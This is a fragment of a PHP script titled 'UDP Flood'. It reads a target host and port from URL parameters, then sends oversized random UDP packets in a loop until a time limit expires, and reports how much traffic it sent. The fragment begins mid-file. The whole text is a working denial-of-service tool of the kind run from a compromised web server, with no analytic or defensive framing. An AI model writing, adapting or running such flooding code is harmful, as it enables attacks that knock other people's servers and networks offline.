UDP Flood
";
$max_time = $time+$exec_time;
$host = $_GET['host'];
$port = $_GET['port'];
$out = "";
for($i=0;$i<65507;$i++){
$out .= chr(rand(0,255));
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "
UDP Flood
Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second\n";
echo '
';
}else{ echo '
UDP Flood
';
}
?>